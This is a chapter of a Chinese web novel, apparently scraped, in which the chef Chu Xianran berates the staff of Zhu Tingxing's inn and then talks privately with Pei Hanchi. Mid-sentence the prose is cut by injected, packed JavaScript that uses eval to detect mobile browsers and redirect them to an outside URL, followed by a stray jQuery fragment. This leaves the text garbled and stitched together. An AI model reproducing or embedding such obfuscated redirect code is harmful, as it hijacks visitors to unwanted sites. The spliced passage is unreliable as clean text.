她的气是消了，可有些人的气才刚上头。
楚弦然短暂的好心情在踏入客栈后厨之后荡然无存，扬着的唇角迅速下降，最后抿成一条毫无弧度的直线。像是巡视的头领，视线在所及之处，都转悠了一圈。
新鲜的食材像是无用之物，完全没有美感可言，一箩筐的堆积在墙角，大锅里飘着残余的“猪食”，厨具东边一勺，西边一铲。知道这是后厨的人还好，不知道的还以为这里刚有劫匪来过，才造成了这样诡异的画面。楚弦然皱起的眉头与他的纠结心境相通，盘桓了许久骤然松开。
他以同情的眼神，看向姗姗来迟的祝听星，语气夹杂着抹不去的无奈，“另请高明吧，这地我待不了一点儿。”
刚请来的大神就要跑路，这家客栈是不是被人下了降头。
祝听星揣着明白装糊涂，站进楚弦然的目光中，手掌贴近耳侧，提高声音，“你说什么，刚才风大我没听见，你要不重新再说一遍。”
四周的窗户早关得严严实实，连一只苍蝇都飞不进来，更别提那莫须有的风。楚弦然嘴角轻扯，露出来的不是微笑，而是积攒了许久的吐槽。过长的袖子挽起，修长的指尖在后厨不合格的每一处掠过。
他每说一个字，祝听星的头便更疼一分。最后实在撑不住，拉住恰巧路过的裴寒迟挡在了身前。前边的楚弦然在滔滔不绝，后面两人也没闲着。
祝听星垂眸扣住裴寒迟送到手边的指节，在他大一号的掌心上乱涂乱画，一个指尖一个指尖地相贴，最后切合进指缝，紧紧相连。
说到口渴的楚弦然蓦然停下，回过神才惊觉自己面前换了一个人，他错愕地与裴寒迟四目相对，相顾无言。缓了许久，无悲无喜地从口中吐出来三个字，“好样的。”
造成这种结果的祝听星，默默从裴寒迟肩侧探出脑袋，小声询问身旁的人，“叔的这句话，可以当作夸奖来听吗？”
裴寒迟摇头，这话要是当夸奖听，楚弦然恐怕得英年早逝，交代在这家客栈里。一只手扶住气到僵硬无法动弹的楚弦然，另一只手扣住祝听星的手腕向前堂走。
猛灌一茶壶水的楚弦然，终于从枯死的状态活了回来，吹胡子瞪眼的看向一脸无辜的祝听星，顿时懂了他爹当年知晓他要去做厨子时，有多么的恨铁不成钢。耷拉在桌沿的指尖轻弹，发出的微弱声响传入祝听星的耳边。
一下两下三下，逐渐影响祝听星心脏的跳跃，杯中茶水失去温度，伴有暖意的气雾消失不见，让她能够轻易地看见楚弦然眼中纷杂的情绪。
愧疚、欣喜、无奈交织凝为一张无形的网，将他笼罩在其间。
祝听星见状轻声从椅子上离开，挽起袖子回到后厨收拾狼藉。拉开紧闭的大门，眼眸中跃入几道熟悉的身影。
项行与项询这两兄弟安安静静地坐在一侧处理食材，楚悦音含笑哼着小曲儿用笤帚扫走地上淤积的泥沙，素来不和的朗野和方岁和一改往日的不和，携手吭哧吭哧地处理大锅里的“猪食”。
唯独不见裴寒迟的身影。
敛下心中的疑惑，祝听星迈腿加入，人还没坐稳。方岁和便向她露出了一个像是被人踩了脚丫似的诡异笑容。不论祝听星怎么旁敲侧击，他都是神秘兮兮，迟迟不愿开口。
直到消失许久的裴寒迟出现，她才明了方岁和为何笑得这么诡异。
素来整洁的裴寒迟消失不见，整个人像是去偏远地区挖了一回煤炭，浅蓝色的衣摆上晕染出墨梅朵朵，让他原有的素雅不复存在，增添了些许的烟火气息，柔化了他骨子里刺骨的严寒。
哪怕汇聚了所有人的目光，他依旧淡然坦荡。
许是见到了裴寒迟的另一面，笑容挂在祝听星的唇角，迟迟不消。在面对楚弦然的质问时，也依旧保持了这样的样貌。
“你是这家客栈的东家？”
祝听星点头。
“这家客栈的所有人都听你指挥？”
祝听星继续点头。
“是你叫他们做猪食的？”
祝听星不受控制地继续点头，在反应过来楚弦然在问什么时，脑袋画了一道无形的弧线，加入摇头的行列。她只是让厨子做他们的拿手好菜，完全不知道他们只会做给猪吃的好菜。
归根到底这是她当初从牙行招工时犯下的纰漏，要是她当初继续追问一下，说不定客栈就不会出现“猪食”。
昂着的脑袋像失去水分的小苗耷拉下去，眉眼间多了一些怏怏不乐，要是用力团吧团吧都可以塞进小巧的角落，现场当一回蘑菇。
既然木已成舟，那她就拼命划桨力求方向不动。
挑完祝听星的刺还不算完，楚弦然眼神一转落到了正在吃糕点的楚悦音身上，问祝听星的话只是试探，到楚悦音的时候才是真正的火力全开。楚弦然唰的一下不知道从哪里抽出来一根长棍，摆动时破空声接连传入众人的耳朵。
“楚家人做生意最忌讳什么？”
这个问题对于楚悦音来说根本算不上问题，她从小到大都泡在生意经里。家里无论大事小事都有她参与的一席之地，直到与钱毅成婚，婆家觉得抛头露面不好，迫使她放弃了不少心中的念想。
楚家人做生意忌讳帮亲不帮理，以己度人，自让钱分。她张口欲答，抬眸对上楚弦然澄澈认真的眼神，顿时觉得羞愧难当。与高门阔府周旋的日子里，圆滑代替理想，让她早已忘却如何做自己，忘记了那个充满野心，力求上进的自己。
前两个人被轻飘飘的言语击破，楚弦然的攻击转眼就落到了项家两兄弟，扫了一眼坐没坐相，躺着喝茶的项询，以及笑着把兔子放客人吃饭桌子上玩耍的项行，楚弦然两眼一黑，棍子随他的动作拍在了这两兄弟的背上。
没用多大的力道，但还是会有些震慑的威力。两人立马收了神通，乖巧地坐在椅子上。
“你就是这样为人师表？”楚弦然先棍指项询，随即指向幸灾乐祸的项行，“你就这样悬壶济世？”
“收拾收拾，回家去吧孩子，这里不是你俩可以霍霍的地方。”
两人嘴角的笑容消失，相似的面貌上没有一点喜气，默契十足的朝楚弦然翻了一个大大的白眼，异口同声，“你凭什么说我俩不适合这里？”
等的就是这一句，楚弦然从怀里掏出纸张，上面记录了项家两兄弟在他眼皮子底下做的所有事情，不记录还好，以记录十几张纸都不够他写的。
正事没做一件，坏事倒做了不少。
楚弦然晃了晃手中的纸张，挑眉，“需要我读给大家听吗？不想的话，就给我踏踏
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17008794|187693||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
实实地干活。”
手捏把柄的人就是可以这么嚣张，项家两兄弟摆手认怂。
好处理的已经处理完毕，剩下来的就是一些棘手的刺头，但对于有些人来说，不处理就是最好的处理方式。眼见即将轮到自己，方岁和颤颤巍巍的自投罗网，像倒豆子一样事无巨细的说出自己在客栈做出来的坏事。
再三保证自己不会再做这种事情，得到楚弦然许可之后，一把鼻涕一把泪，灰溜溜的与面壁思过的祝听星他们站成一排。
这样一来就剩下朗野和裴寒迟还没有受到名为楚弦然的海浪波及，朗野老神在在地坐在椅子上，向其他人投去同情的目光。
下一秒，他就被楚弦然点名，不受控制地从座位上站起。
“你今年多大？”
朗野实话实说，“十六。”
“你家有几口人？”
朗野回头看了一眼坐在旁边的裴寒迟，掰扯了手指，语气认真，“一共十一人。”
听到这话的项询忍不住心里的好奇，插了一嘴，“看不出来，你家里的人还挺多。”
“之前没有这么多的。”知晓自己的话有歧义，朗野不好意思地挠了下头，“是在遇到你们以后才有这么多的。”
“有在场的你们，还有不在这的未春姐他们。再加上迟来的楚叔，正正好十一人。”
剩下的问题卡在楚弦然发苦的喉间，在心里向朗野说了一声抱歉，随即立刻掩下歉意，换了一个不那么刁钻的问题，“你家上梁是不是有点歪？”
没有意会到楚弦然言语之下暗藏的玄机，朗野摇了摇头，在楚弦然长棍的威胁之下立刻点头，铿锵有力地喊出，“我家上梁有点歪。”
身为“上梁”的裴寒迟在听到这话，挑了一下眉，放下手中的茶杯等待楚弦然的攻击。等到众人站累了，肚子发出声响，都没能轮到他。
楚弦然收起长棍，伸了个懒腰，让众人在桌上自己思考一会儿，便朝裴寒迟递去一个聊聊的眼神。
两人结伴走向后厨，楚弦然主厨，裴寒迟帮他打下手，两人沉默不语，唯能听见手起刀落的声音。准备工作完成之后，两人才有交流的契机。
裴寒迟盯着燃烧起来的火苗，时不时地往里面添加木柴，火焰的光亮映入他的眼眸，整个人就像是坐在一片火光之中。独自一人的裴寒迟，身上总是有种挥之不去的落寞感，是偌大丛林里唯一的湍流。
见证过热闹，也见证过凄凉。
忙活了一阵的楚弦然终于有了休息的时间，哥俩好似的在裴寒迟身侧落座，语气熟稔，“打算在这里待多久？”
“不久。”
楚弦然卸下礼貌的面具，气急败坏地给了裴寒迟一锤，“你就这样和出生入死的兄弟说话？要不为了你，我怎么可能失去味觉。”
火光蓦然熄灭，裴寒迟的眼眸黑如玄铁，似一汪深不见底的幽潭。楚弦然毫无察觉，依旧在抛出问题，不期待裴寒迟能够给他回答。
“你有没有遇到好玩的事情？”
“你有没有遇到喜欢的人？”
“你有没有想我？”
……
在他不知道问出多少个问题之后，裴寒迟才回答了他其中一个问题的答案。
“有。”